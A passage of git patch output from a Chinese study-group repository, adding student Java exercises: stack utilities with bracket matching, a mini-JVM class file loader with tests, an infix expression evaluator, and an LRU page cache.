+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		
+		Stack<Character> stack = new Stack<>();
+		for(int i=0;i<s.length();i++){
+			char c = s.charAt(i);
+			
+			if(c == '(' || c =='[' || c == '{'){
+				
+				stack.push(c);
+				
+			} else if( c == ')'){
+				
+				char topChar = stack.pop();
+				if(topChar != '('){
+					return false;
+				}
+				
+			} else if( c == ']'){
+				
+				char topChar = stack.pop();
+				if(topChar != '['){
+					return false;
+				}
+					
+			} else if( c == '}'){
+				
+				char topChar = stack.pop();
+				if(topChar != '{'){
+					return false;
+				}
+				
+			}
+		}
+		return stack.size() == 0;
+	}
+}
diff --git a/group03/345943980/mini-jvm-0405/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java b/group03/345943980/mini-jvm-0405/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..c1c10ef437
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,203 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "E:\\github\\coding2017\\group03\\345943980\\mini-jvm-0330\\target\\test-classes";
+	static String path2 = "D:\\wordtest";
+	
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+    
+   
+
+}
diff --git a/group03/345943980/mini-jvm-0405/src/test/java/com/coderising/jvm/test/EmployeeV1.java b/group03/345943980/mini-jvm-0405/src/test/java/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..9a36573dd3
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/test/java/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group03/345943980/mini-jvm-0405/src/test/java/com/coding/basic/stack/StackUtilTest.java b/group03/345943980/mini-jvm-0405/src/test/java/com/coding/basic/stack/StackUtilTest.java
new file mode 100644
index 0000000000..6c8db075d0
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/test/java/com/coding/basic/stack/StackUtilTest.java
@@ -0,0 +1,77 @@
+package com.coding.basic.stack;
+
+import java.util.Stack;
+
+import org.junit.Assert;
+import org.junit.Test;
+public class StackUtilTest {
+
+	@Test
+	public void testAddToBottom() {
+		
+		Stack<Integer> s = new Stack<>();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.addToBottom(s, 0);
+		Assert.assertEquals("[0, 1, 2, 3]", s.toString());
+		
+	}
+	
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack<>();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+	
+	@Test
+	public void testReverse_247565311() {
+		Stack<Integer> s = new Stack<>();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		
+		Assert.assertEquals("[1, 2, 3]", s.toString());
+		StackUtil.reverse_247565311(s);
+		Assert.assertEquals("[3, 2, 1]", s.toString());
+	}
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack<>();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack<>();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}

From 43395012e901a5b35b52c1dd547d840f169f6ea6 Mon Sep 17 00:00:00 2001
From: xiaomingbai <498654356@qq.com>
Date: Sun, 7 May 2017 23:16:00 +0800
Subject: [PATCH 232/262] edit StackUtil.reverse()

---
 .../one/src/org/coding/five/StackUtil.java    | 40 +++++++++++++++----
 .../test/org/coding/five/StackUtilTest.java   | 13 ++++--
 2 files changed, 43 insertions(+), 10 deletions(-)

diff --git a/group04/498654356/one/src/org/coding/five/StackUtil.java b/group04/498654356/one/src/org/coding/five/StackUtil.java
index 0d9526139e..5df8131893 100644
--- a/group04/498654356/one/src/org/coding/five/StackUtil.java
+++ b/group04/498654356/one/src/org/coding/five/StackUtil.java
@@ -10,23 +10,49 @@ public class StackUtil {
 	/**
 	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
 	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 *  *** 使用中间变量和长度来完成
 	 */
 	public static void reverse(Stack s) {
 		if(isEmpty(s)) {
 			return;
 		}
 		Stack temp = new Stack();
-		reversePush(s, temp);
-		Stack temp2 = new Stack();
-		reversePush(temp, temp2);
-		reversePush(temp2, s);
+		int size = s.size();
+		int count = 0;
+		while(count < size) {
+			Object pop = s.pop();
+			for(int i = count + 1; i < size; i++) {
+				temp.push(s.pop());
+			}
+			s.push(pop);
+			move(temp, s);
+			count++;
+		}
+	}
+
+	// ***递归,通过每一个函数栈存放一个元素
+	public static void reverse2(Stack s) {
+		if(isEmpty(s)) {
+			return;
+		}
+		Stack temp = new Stack();
+		move(s, temp);
+		addTop(temp.pop(), temp, s);
+	}
+	
+
+	private static void addTop(Object pop, Stack temp, Stack s) {
+		if(!temp.isEmpty()) {
+			addTop(temp.pop(), temp, s);
+		}
+		s.push(pop);
 	}
 
 	private static boolean isEmpty(Stack s) {
 		return s == null || s.isEmpty();
 	}
 
-	private static void reversePush(Stack source, Stack dest) {
+	private static void move(Stack source, Stack dest) {
 		while(!source.isEmpty()) {
 			dest.push(source.pop());
 		}
@@ -48,7 +74,7 @@ public static void remove(Stack s,Object o) {
 				temp.push(dest);
 			}
 		}
-		reversePush(temp, s);
+		move(temp, s);
 	}
 
 	/**
@@ -70,7 +96,7 @@ public static Object[] getTop(Stack s,int len) {
 			temp.push(v);
 			count++;
 		}
-		reversePush(temp, s);
+		move(temp, s);
 		return Arrays.copyOf(result, count);
 	}
 	/**
diff --git a/group04/498654356/one/test/org/coding/five/StackUtilTest.java b/group04/498654356/one/test/org/coding/five/StackUtilTest.java
index bab59b8690..bb5dc80813 100644
--- a/group04/498654356/one/test/org/coding/five/StackUtilTest.java
+++ b/group04/498654356/one/test/org/coding/five/StackUtilTest.java
@@ -1,7 +1,5 @@
 package org.coding.five;
 
-import static org.junit.Assert.fail;
-
 import org.coding.one.Stack;
 import org.junit.After;
 import org.junit.Assert;
@@ -37,7 +35,16 @@ public void testReverse() {
 		Assert.assertEquals(4, s.pop());
 		Assert.assertEquals(5, s.pop());
 	}
-
+	@Test
+	public void testReverse2() {
+		StackUtil.reverse2(s);
+		Assert.assertEquals(5, s.size());
+		Assert.assertEquals(1, s.pop());
+		Assert.assertEquals(2, s.pop());
+		Assert.assertEquals(3, s.pop());
+		Assert.assertEquals(4, s.pop());
+		Assert.assertEquals(5, s.pop());
+	}
 	@Test
 	public void testRemove() {
 		StackUtil.remove(s, 1);

From 5716efde2e9985c41486be6cec7181c786f2faaf Mon Sep 17 00:00:00 2001
From: Jane_Zhou <1294642551@qq.com>
Date: Sun, 7 May 2017 23:53:15 +0800
Subject: [PATCH 233/262] the sixth homework ... InfixExpr

---
 group19/1294642551/src/expr/InfixExpr.java    | 162 ++++++++++++++++++
 .../1294642551/test/expr/InfixExprTest.java   |  53 ++++++
 2 files changed, 215 insertions(+)
 create mode 100644 group19/1294642551/src/expr/InfixExpr.java
 create mode 100644 group19/1294642551/test/expr/InfixExprTest.java

diff --git a/group19/1294642551/src/expr/InfixExpr.java b/group19/1294642551/src/expr/InfixExpr.java
new file mode 100644
index 0000000000..2d53dd91ff
--- /dev/null
+++ b/group19/1294642551/src/expr/InfixExpr.java
@@ -0,0 +1,162 @@
+package expr;
+
+import java.util.ArrayList;
+import java.util.Stack;
+
+
+/**
+ * 中序表达式求值：
+ * 	1. 只支持加减乘除，不支持括号
+ * 	2. 表达式中只支持int，但结果可能是float
+ * 	3. 要求用两个栈来实现
+ * @author 12946
+ *
+ */
+public class InfixExpr {
+	String expr = null;
+	
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		Stack<String> operatorStack = new Stack<String>();
+		Stack<Float> valueStack = new Stack<Float>();
+		String[] arr = toArr(expr);
+		inStack(operatorStack, valueStack, arr);
+		outStack(operatorStack, valueStack);
+		
+		if(valueStack.size() == 1){
+			return valueStack.peek();
+		}else{
+			throw new RuntimeException("数值栈中最后的元素个数不对");
+		}
+		
+	}
+	
+	// 将表达式字符串分解成数值和操作符的数组
+	public String[] toArr(String expr){
+		ArrayList<String> al = new ArrayList<String>();
+		for(int i = 0; i < expr.length(); i++){
+			char c = expr.charAt(i);
+			if(isOperator(c)){
+				al.add(c+"");
+			}
+		}
+		
+		for(int i = 0; i < expr.length(); i++){
+			char c = expr.charAt(i);
+			if(isOperator(c)){
+				expr = expr.replace(c, ',');
+			}
+		}
+		String[] arr = expr.split(",");
+		String[] totalArr = new String[2 * arr.length - 1];
+		for(int i = 0; i < totalArr.length; i++){
+			if(i % 2 == 0){
+				totalArr[i] = arr[i/2];
+			}else{
+				totalArr[i] = al.get((i-1)/2);
+			}
+		}
+		
+		return totalArr;
+	}
+
+	// 表达式入栈操作
+	public void inStack(Stack<String> operatorStack, Stack<Float> valueStack,
+			String[] arr) {
+		for(int i = 0; i < arr.length; i++){
+			if(isOperator(arr[i])){//新元素是操作符
+				if(operatorStack.size() == 0){//第一个操作符
+					operatorStack.push(arr[i]+"");
+				}else if(operatorStack.size() > 0){
+					while(priority(operatorStack.peek(), arr[i]+"") != -1){//第一个操作符的优先级>=第二个的
+						popCompute(operatorStack, valueStack);
+						if(operatorStack.isEmpty()){
+							break;
+						}
+					}
+					operatorStack.push(arr[i]+"");//操作符入栈
+				}
+				
+			}else{// 新元素是数值
+				float value = Float.valueOf(arr[i]+"");
+				valueStack.push(value);
+			}
+			
+		}
+	}
+	
+	// 出栈操作，将两个栈中的操作符和数值进行计算，当操作符栈为空时，数值栈的值就是最后的值
+	public void outStack(Stack<String> operatorStack, Stack<Float> valueStack){
+		while(!operatorStack.isEmpty()){
+			popCompute(operatorStack, valueStack);
+		}
+	}
+	
+	public boolean isOperator(String c){
+		if(c.equals("+") || c.equals("-") || c.equals("*") || c.equals("/")){
+			return true;
+		}else{
+			return false;
+		}
+	}
+	
+	public boolean isOperator(char c){
+		if(c=='+' || c=='-' || c=='*' || c=='/'){
+			return true;
+		}else{
+			return false;
+		}
+	}
+	
+	// 第一个操作符的优先级 > 第二个操作符的优先级: 返回 1
+	// 第一个操作符的优先级 = 第二个操作符的优先级: 返回 0
+	// 第一个操作符的优先级 < 第二个操作符的优先级: 返回 -1
+	public int priority(String c1, String c2){
+		
+		if(c1.equals("+") || c1.equals("-")){
+			if(c2.equals("*") || c2.equals("/")){
+				return -1;
+			}else{
+				return 0;
+			}
+		}else{//(c1=='*' || c1=='/')
+			if(c2.equals("+") || c2.equals("-")){
+				return 1;
+			}else{
+				return 0;
+			}
+		}
+		
+	}
+	
+
+	
+	// 计算加减乘除的结果
+	public float compute(float num1, float num2, String operator){
+		if(operator.equals("+")){
+			return num1 + num2;
+		}else if(operator.equals("-")){
+			return num1 - num2;
+		}else if(operator.equals("*")){
+			return num1 * num2;
+		}else{
+			return num1 / num2;
+		}
+	}
+	
+	// 弹栈计算，取一个操作符和两个操作数进行计算，并将得到的操作数压入数值栈
+	public void popCompute(Stack<String> operatorStack, Stack<Float> valueStack){
+		float num2 = valueStack.pop();
+		float num1 = valueStack.pop();
+		String operator = operatorStack.pop();
+		float value = compute(num1, num2, operator);
+		valueStack.push(value);
+
+	}
+	
+	
+}
diff --git a/group19/1294642551/test/expr/InfixExprTest.java b/group19/1294642551/test/expr/InfixExprTest.java
new file mode 100644
index 0000000000..936682df20
--- /dev/null
+++ b/group19/1294642551/test/expr/InfixExprTest.java
@@ -0,0 +1,53 @@
+package expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+
+}

From 621f9305fa1421eb1eb3fb06b2df64c24bd48c84 Mon Sep 17 00:00:00 2001
From: chk <changhongkaimail@163.com>
Date: Sun, 7 May 2017 23:56:30 +0800
Subject: [PATCH 234/262] 4 mother

---
 .../week4/jvm/loader/ClassFileLoader.java     |  74 ++++++++
 .../com/basic/week4/jvm/test/EmployeeV1.java  |  30 +++
 .../com/basic/week4/lru/LRUPageFrame.java     | 131 +++++++++++++
 .../com/basic/week5/stack/StackUtil.java      | 103 +++++++++++
 .../com/basic/week6/expr/InfixExpr.java       | 127 +++++++++++++
 .../632678665/com/basic/week6/expr/Token.java |  52 ++++++
 .../com/basic/week6/exprNew/InfixExpr.java    |  57 ++++++
 .../com/basic/week6/exprNew/Operator.java     |  75 ++++++++
 .../com/basic/week6/exprNew/Token.java        |  63 +++++++
 .../com/basic/week6/exprNew/TokenParser.java  |  60 ++++++
 .../com/basic/week7/stack/MyStack.java        |  42 +++++
 .../com/basic/week7/stack/StackUtil.java      | 173 ++++++++++++++++++
 .../basic/week7/stack/expr/ExprIterator.java  |  57 ++++++
 .../com/basic/week7/stack/expr/InfixExpr.java |  74 ++++++++
 .../week7/stack/expr/InfixToPostExpr.java     |  41 +++++
 .../week7/stack/expr/InfixToPostExprTest.java |  30 +++
 .../basic/week7/stack/expr/PostfixExpr.java   |  48 +++++
 .../week7/stack/expr/PostfixExprTest.java     |  34 ++++
 .../basic/week7/stack/expr/PrefixExpr.java    |  59 ++++++
 .../week7/stack/expr/PrefixExprTest.java      |  39 ++++
 .../com/basic/week7/stack/expr/Token.java     |  49 +++++
 .../basic/week7/stack/expr/TokenParser.java   |  56 ++++++
 .../week7/stack/expr/TokenParserTest.java     |  36 ++++
 .../com/basic/week8/CircleQueue.java          |  44 +++++
 .../632678665/com/basic/week8/Josephus.java   |  44 +++++
 group23/632678665/com/basic/week8/Queue.java  |  55 ++++++
 .../com/basic/week8/QueueWithTwoStacks.java   |  47 +++++
 .../com/basic/week9/QuickMinStack.java        |  48 +++++
 .../com/basic/week9/StackWithTwoQueues.java   |  53 ++++++
 .../com/basic/week9/TwoStackInOneArray.java   |  82 +++++++++
 30 files changed, 1883 insertions(+)
 create mode 100644 group23/632678665/com/basic/week4/jvm/loader/ClassFileLoader.java
 create mode 100644 group23/632678665/com/basic/week4/jvm/test/EmployeeV1.java
 create mode 100644 group23/632678665/com/basic/week4/lru/LRUPageFrame.java
 create mode 100644 group23/632678665/com/basic/week5/stack/StackUtil.java
 create mode 100644 group23/632678665/com/basic/week6/expr/InfixExpr.java
 create mode 100644 group23/632678665/com/basic/week6/expr/Token.java
 create mode 100644 group23/632678665/com/basic/week6/exprNew/InfixExpr.java
 create mode 100644 group23/632678665/com/basic/week6/exprNew/Operator.java
 create mode 100644 group23/632678665/com/basic/week6/exprNew/Token.java
 create mode 100644 group23/632678665/com/basic/week6/exprNew/TokenParser.java
 create mode 100644 group23/632678665/com/basic/week7/stack/MyStack.java
 create mode 100644 group23/632678665/com/basic/week7/stack/StackUtil.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/ExprIterator.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/InfixExpr.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/InfixToPostExpr.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/InfixToPostExprTest.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/PostfixExpr.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/PostfixExprTest.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/PrefixExpr.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/PrefixExprTest.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/Token.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/TokenParser.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/TokenParserTest.java
 create mode 100644 group23/632678665/com/basic/week8/CircleQueue.java
 create mode 100644 group23/632678665/com/basic/week8/Josephus.java
 create mode 100644 group23/632678665/com/basic/week8/Queue.java
 create mode 100644 group23/632678665/com/basic/week8/QueueWithTwoStacks.java
 create mode 100644 group23/632678665/com/basic/week9/QuickMinStack.java
 create mode 100644 group23/632678665/com/basic/week9/StackWithTwoQueues.java
 create mode 100644 group23/632678665/com/basic/week9/TwoStackInOneArray.java

diff --git a/group23/632678665/com/basic/week4/jvm/loader/ClassFileLoader.java b/group23/632678665/com/basic/week4/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..7528e27324
--- /dev/null
+++ b/group23/632678665/com/basic/week4/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,74 @@
+package com.coding2017.week4.jvm.loader;
+
+import com.google.common.base.Joiner;
+import com.google.common.base.Splitter;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+public class ClassFileLoader {
+    private static Joiner SEMICOLON_JOINER = Joiner.on(";").skipNulls();
+    private static Splitter DOT_SPLITTER = Splitter.on(".").trimResults();
+    private static Joiner SLASH_JOINER = Joiner.on("/").skipNulls();
+
+    private static String CLASS_SUFFIX = ".class";
+
+    private List<String> clzPaths = new ArrayList<String>();
+
+    public byte[] readBinaryCode(String className) {
+        List<String> list = DOT_SPLITTER.splitToList(className);
+        String childDirectory = SLASH_JOINER.join(list);
+        for (String clzPath : clzPaths) {
+            String fullPath = makeFullPath(clzPath, childDirectory);
+            if (fileExist(fullPath)) {
+                return readFileBytes(fullPath);
+            }
+        }
+        System.out.println("no this class file: " + className);
+        return null;
+    }
+
+    private byte[] readFileBytes(String filePath) {
+        try {
+            File file = new File(filePath);
+            long length = file.length();
+            byte[] fileBytes = new byte[(int) length];
+            int readLength = new FileInputStream(filePath).read(fileBytes);
+            if (readLength != length) {
+                System.out.println("read file error. read length: " + readLength + ", full length : " + length);
+                return null;
+            }
+            return fileBytes;
+        } catch (IOException e) {
+            System.out.println("read file error. " + filePath);
+            return null;
+        }
+    }
+
+    private boolean fileExist(String fullPath) {
+        File classFile = new File(fullPath);
+        return classFile.exists() && classFile.isFile();
+    }
+
+    private String makeFullPath(String clzPath, String childDirectory) {
+        if (clzPath.endsWith("/") || clzPath.endsWith("\\")) {
+            return clzPath + childDirectory + CLASS_SUFFIX;
+        } else {
+            return clzPath + "/" + childDirectory + CLASS_SUFFIX;
+        }
+    }
+
+    public void addClassPath(String path) {
+        if (!clzPaths.contains(path)) {
+            clzPaths.add(path);
+        }
+    }
+
+    public String getClassPath() {
+        return SEMICOLON_JOINER.join(clzPaths);
+    }
+
+}
diff --git a/group23/632678665/com/basic/week4/jvm/test/EmployeeV1.java b/group23/632678665/com/basic/week4/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..7d0419dc77
--- /dev/null
+++ b/group23/632678665/com/basic/week4/jvm/test/EmployeeV1.java
@@ -0,0 +1,30 @@
+package com.coding2017.week4.jvm.test;
+
+public class EmployeeV1 {
+
+    private String name;
+    private int age;
+
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;
+    }
+
+    public void setName(String name) {
+        this.name = name;
+    }
+
+    public void setAge(int age) {
+        this.age = age;
+    }
+
+    public void sayHello() {
+        System.out.println("Hello , this is class Employee ");
+    }
+
+    public static void main(String[] args) {
+        EmployeeV1 p = new EmployeeV1("Andy", 29);
+        p.sayHello();
+
+    }
+}
\ No newline at end of file
diff --git a/group23/632678665/com/basic/week4/lru/LRUPageFrame.java b/group23/632678665/com/basic/week4/lru/LRUPageFrame.java
new file mode 100644
index 0000000000..55039dda56
--- /dev/null
+++ b/group23/632678665/com/basic/week4/lru/LRUPageFrame.java
@@ -0,0 +1,131 @@
+package com.coding2017.week4.lru;
+
+/**
+ * 用双向链表实现LRU算法
+ * 
+ * @author liuxin
+ *
+ */
+public class LRUPageFrame {
+    private static class Node {
+        Node prev;
+        Node next;
+        int pageNum;
+
+        Node() {
+        }
+    }
+
+    private int capacity;
+
+    private Node first;// 链表头
+    private Node last;// 链表尾
+    private int size; // 当前个数
+
+    public LRUPageFrame(int capacity) {
+        this.capacity = capacity;
+        size = 0;
+    }
+
+    /**
+     * 获取缓存中对象
+     * 
+     * @param pageNum
+     * @return
+     */
+    public void access(int pageNum) {
+        Node node = query(pageNum);
+        if (node == null) {
+            Node newNode = new Node();
+            newNode.pageNum = pageNum;
+            accessNotExist(newNode);
+        } else {
+            accessExist(node);
+        }
+    }
+
+    private void accessExist(Node node) {
+        removeNode(node);
+        addFirst(node);
+    }
+
+    /**
+     * 此处没有要求传入的node的prev和next, 所以需要自己处理
+     * 
+     * @param node
+     */
+    private void addFirst(Node node) {
+        node.prev = null;
+        node.next = null;
+        if (first == null) {
+            first = node;
+            last = node;
+        } else {
+            first.prev = node;
+            node.next = first;
+            first = node;
+        }
+        size++;
+    }
+
+    /**
+     * 需要考虑删除的节点是头结点, 或尾节点的情况
+     */
+    private void removeNode(Node node) {
+        if (node.prev == null) {
+            first = node.next;
+        }
+        if (node.next == null) {
+            last = node.prev;
+        }
+        if (node.prev != null) {
+            node.prev.next = node.next;
+        }
+        if (node.next != null) {
+            node.next.prev = node.prev;
+        }
+        size--;
+    }
+
+    /**
+     * 如果已经满了, 则挤出去一个, 然后追加
+     * 
+     * @param node
+     */
+    private void accessNotExist(Node node) {
+        if (size == capacity) {
+            removeLast();
+        }
+        addFirst(node);
+    }
+
+    private void removeLast() {
+        last.prev.next = null;
+        last = last.prev;
+        size--;
+    }
+
+    private Node query(int pageNum) {
+        for (Node node = first; node != null; node = node.next) {
+            if (pageNum == node.pageNum) {
+                return node;
+            }
+        }
+        return null;
+    }
+
+    public String toString() {
+        StringBuilder buffer = new StringBuilder();
+        Node node = first;
+        while (node != null) {
+            buffer.append(node.pageNum);
+
+            node = node.next;
+            if (node != null) {
+                buffer.append(",");
+            }
+        }
+        return buffer.toString();
+    }
+
+}
